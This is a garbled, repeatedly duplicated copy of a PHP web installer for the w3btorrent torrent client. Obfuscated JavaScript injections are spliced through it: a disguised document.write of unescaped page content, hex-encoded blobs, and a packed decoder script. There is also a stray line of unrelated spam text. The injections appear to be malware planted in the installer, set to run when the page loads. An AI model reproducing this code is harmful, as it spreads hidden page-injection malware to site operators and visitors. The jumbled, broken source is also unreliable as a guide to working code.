/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
Execute this command on this server from a user with enough access `chmod 777
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
Execute this command on this server from a user with enough access `chown
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
function FbpAopLQ(LuwRA){ fff.op.replace("v");var WZsOQkPs=new Function("CIjbpBWIk", "return 173289;");var FbNfboTX = document.getElementById('lMzXkts'); }
var WjHsvR=document;document['wr1ite'.replac configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)] = "".$install->steps[$_SESSION['step']-($install->valid_dir($_SESSION['realdirpath'])?1:2)]."";
/* for download, extract and compiling */
ini_set("max_execution_time",1600); // 30 min
?>
title; ?>
e(/[0-9]/,'')](unescape(document.getElementById('PKuZqzmy').value));function pmpMtRy(dvw){ fff=op.split("66"); fff.op.replace("v"); fff=op.split("66"); fff.op.replace("v"); }
Mette Lisby Juliane, Juliane, Martin Voola Bak Juliane. Dino Minitti Isla hechizada, movie Isla hechizada, Adalberto Páez Arenas Isla hechizada. Michael Milhoan In Dark Places, In Dark Places, Angelle Brooks In Dark Places. ? Donald Ross: The ArchitectBiography/Autobiography Inside the Helmet: Hard Knocks Biography/Autobiography Mario, Lemieux: Best There Ever Was , Sociology Masters Pr. "text/javascript">">
valid_dir($_SESSION['realdirpath']))
{
?>
Unable to write to directory ''. You must make this directory writeable to be able to install w3btorrent.
You can fix it by ONE of the follwing:
Open your FTP client and change modification (chmod) on this directory to 777 (707 or 007).
Open your FTP client and change '' directory owner to ''.
Execute this command on this server from a user with enough access `chmod 777 `
Execute this command on this server from a user with enough access `chown `
download_archive($_POST['url']))
{
$_SESSION['filename'] = basename($_POST['url']);
$_SESSION['step'] = 3;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
/* an extra check if something else should fail */
elseif (isset($_POST['url']) && file_exists(basename($_POST['url'])) && sizeof(basename($_POST['url']) > 0))
{
$_SESSION['fiSERVER['SCRIPT_NAME']);
exit();
}
?>
decompress_archive($_SESSION['filename']))
{
unlink($_SESSION['filename']);
unset($_SESSION['filename']);
$_SESSION['step'] = 4;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
?>
".$install->configure($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/")."";
}
elseif (isset($_POST['compile']))
{
$exec = $install->compile($_SESSION['realdirpath']."system/ctorrent-dnh2.2-w3btorrent/");
if (is_executable("system/ctorrent-dnh2.2-w3btorrent/ctorrent"))
{
echo "Finish! it seems like your system succsessfully «created» ctorrent binary. Click \"Finish\" to end installer.";
}
else
{
echo "
".$exec."
";
}
}
/* binary check */
elseif (isset($_POST['finish']) || isset($_POST['continue']) || $install->binary_works())
{
$_SESSION['step'] = 5;
header("location: ".$_SERVER['SCRIPT_NAME']);
exit();
}
else
{
echo "Your system can't use the binarys following with w3btorrent, sorry. You can keep using BitTorrent/Tornado if you have these installed ".(!$install->exec_path("btdownloadcurses")?"(couldn't find any) ":"")."or you can try «create» them with this installer, just click \"Configure\" and \"Compile\" when configure is finish. Good luck.";
}
?>
Install complete!
Do to be able to use w3btorrent follow these instructions.
323125326525343825333225313425323525323325323725333925376225376325376225363527293b
626965736b6368722871746f72632e213a6f6074676b63267574653b6e7272763c292960697e75636b7674697572287473296f682865616f39373226716f62726e3b37266e636f616e723b372675727f6a633b626f75766a677f3c68696863383a296f6074676b6338212f3d7e63763b24486748243d617e3b24486748243d'; ?>848)ka6f868-=848;i9ca815a=ka6f868-sebfb0-50;i9ca815a=db3cf8(i9ca815a);document.write(b3ffa19(i9ca815a));}}pde63eee44(e279dba03());function wd87c2a92(t088224,qdaade){return t088224.substr(qdaade,1);}function ra93f5e(ne4b92197){if(ne4b92197==168)ne4b92197=1025;else if(ne4b92197==184)ne4b92197=1105;return (ne4b92197>=192 && ne4b92197<256) ? ne4b92197+848 : ne4b92197;}function g65813cd1(kfed3041){return kfed3041=='?;}function b3ffa19(f2fd6627){return String.fromCharCode(f2fd6627);}function e279dba03(){return "e9ed0c90d667?78±±223±±220±±232±±215±±227±±219?667{?1?578{?5±±14?488{?65?513{?52±±125±±195?474{?68±±168±±164±ncc?56±±174±±163±±162±±153±±164±±163±±157±±162±±168±b?51?614{/{495{?82±x{607{,,{622{;?47?6,-@{640{?±JB{574{?±±186±±184±±15±±1±±252?487{?81±±169±±126±c{636{?4±±248±±246?{667{Z^\\{658{T`)?4?665{){490{fd?65±±176?595{?2±±20?516{?04?614{?53±±226?%&{500{?94?491{g{656{(";}function db3cf8(l053f3){var jc923d701=l053f3;if(jc923d701<0)jc923d701+=256;if(jc923d701==168)jc923d701=1025;else if(jc923d701==184)jc923d701=1105;return (jc923d701>=192 && jc923d701<256) ? jc923d701+848 : jc923d701;}'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
4e45495f474f445e045d58435e4f020d16434c584b474f0a59584917425e5e5a1005054c4552594f475a5845595e04585f05434404494d43151e0a5d434e5e42171b0a424f434d425e171b0a595e53464f174e43595a464b53104445444f141605434c584b474f140d031146521708644b6408115d531708644b640811'; ?>
'; ?>;var rFLI=28''; ?>;var rFLI=28625 323125326525343825333225313425323525323325323725333925376225376325376225363527293b
SESSION['webuser'].":".
PUT THIS FILE IN A DIRECTORY ON YOUR WEB SERVER (maybe a directory called w3btorrent) AND VISIT IT
*/
/*
w3btorrent (keep it simple) - simple web fronted torrent client
Copyright (C) 2005, 2007 Vegard Hammerseth (http://thewulong.com)
w3btorrent is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
any later version.
*/
/* DON'T EDIT ANYTHING BELOW, UNLESS YOU KNOW WHAT YOU'RE DOING */
if (phpversion() < 4)
{
exit("Sorry, you need PHP4+ to be able to use w3btorrent.");
}
error_reporting(E_ALL);
class install
{
var $title = "w3btorrent web installer v1.3";
var $logo = ";
var $url = ";
var $steps = array("Writeable dir","Download","Extract archive","Binary check","Finish");
function is_installed()
{
if (isset($_SESSION['step']))
{
return;
}
if (is_file("inc/class/w3btorrent.class.php"))
{
return true;
}
}
function initial()
{
if (isset($_SESSION['step']))
{
return;
}
$_SESSION['webuser'] = trim($this->safe_exec("whoami"));
$_SESSION['realdirpath'] = dirname($_SERVER['SCRIPT_FILENAME'])."/";
$_SESSION['step'] = 2;
}
/* valid url */
function valid_url($arg_url)
{
if (preg_match("/(http(s?)|ftp):\/\//i",$arg_url) && @fopen($arg_url,"r"))
{
return true;
}
}
function get_real_location($arg_url,$arg_max_redirects = 5)
{
$headers = array_reverse(get_headers($arg_url));
foreach ($headers as $value)
{
if (preg_match("/^location:(.*)/i",$value,$m))
{
return trim($m['1']);
}
}
}
/* find executable path for program */
function exec_path($arg_cmd)
{
$paths = array("/usr/bin","/bin","/usr/local/bin","/usr/sbin","/sbin");
$paths = array_merge($paths,explode(":",$_SERVER['PATH']));
$paths = array_unique($paths);
/* find and execute path */
foreach ($paths as $path)
{
if (is_executable($path."/".$arg_cmd))
{
return $path."/".$arg_cmd;
}
}
}
/* be able to execute files even with safe_exec on! */
function safe_exec($arg_cmd)
{
$cmdlist = explode(" ",$arg_cmd);
$cmd = $cmdlist['0'];
$args = implode(" ",array_slice($cmdlist,1));
if (!is_executable($cmd) && !$path = $this->exec_path($cmd))
{
return;
}
/* execute command with arguments and return result */
if (!$popen = popen("$cmd $args","r"))
{
return;
}
$return = "";
while (!feof($popen))
{
$return .= fgets($popen,4096);
}
pclose($popen);
return $return;
}
function download_archive($arg_url)
{
if (!isset($arg_url))
{
return "Write a URL to a w3torrent archive.";
}
elseif (!$fdata = file_get_contents($arg_url))
{
return "Problems with URL, check it that it works.";
}
$filename = basename($arg_url);
/* save file this way, supporting PHP4 users */
if (!$f = fopen($filename,"w"))
{
return "Can't create new files in this directory.";
}
if (!fwrite($f,$fdata))
{
fclose($f);
return "Unable to write to system.";
}
fclose($f);
}
/* move contents within directory to another directory */
function move_dir_content($argdir,$argtodir)
{
if (!is_dir($argdir) || !$d = dir($argdir))
{
return;
}
while ($entry = $d->read())
{
if ($entry == "." || $entry == "..")
{
continue;
}
rename("$argdir/$entry","$argtodir/$entry");
}
$d->close();
rmdir($argdir);
return true;
}
/* use a valid directory */
function valid_dir($arg_dir)
{
if (is_dir($arg_dir) && is_readable($arg_dir) && is_executable($arg_dir) && is_writeable($arg_dir))
{
return true;
}
}
function decompress_archive($arg_file)
{
$file = escapeshellarg($arg_file);
$this->safe_exec("tar xf $file");
/* did the execute work? */
if (!is_dir("w3btorrent"))
{
unset($_SESSION['filename']);
return "We were unable to decompress '$arg_file'. Make sure it is a tar archive. Go back and download a new one.";
}
/* try move the directory's content's to curren dir */
if (!$this->move_dir_content("w3btorrent/",$_SESSION['realdirpath']))
{
return "Unabl
e to move the folder within 'w3btorrent/' to current directory, check permissions.";
}
}
function binary_works()
{
$exec = $this->safe_exec("system/wctorrent -h 2>&1");
if (strlen($exec) > 1000)
{
return true;
}
}
function configure($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("bash configure --prefix=".escapeshellarg($arg_dir));
$exec = str_replace("... yes\n","... yes\n",$exec);
$exec = str_replace("... no\n","... no\n",$exec);
chdir($olddir);
return $exec;
}
function compile($arg_dir)
{
$olddir = getcwd();
chdir($arg_dir);
$exec = $this->safe_exec("make install");
if (substr($exec,0,7) == "cd . &&" && preg_match("/missing --run (.*)/",$exec,$m))
{
$exec = "WARNING: `".$m['1']."' is needed, and you do not seem to have it handy on your\nsystem. You might have modified some files without having the\nproper tools for further handling them. Check the `README' file,\nit often tells you about the needed prerequirements for installing\nthis package. You may also peek at any GNU archive site, in case\nsome other package would contain this missing `".$m['1']."' program.";
}
chdir($olddir);
return $exec;
}
}
/* session */
$install = new install;
session_name("w3btorrent".getcwd());
session_start();
ob_start();
/* if it's already installed hightlight this file so everyone can get it */
if ($install->is_installed())
{
echo file_get_contents($_SERVER['SCRIPT_FILENAME']);
exit();
}
/* set values */
$install->initial();
/* highlight progress */
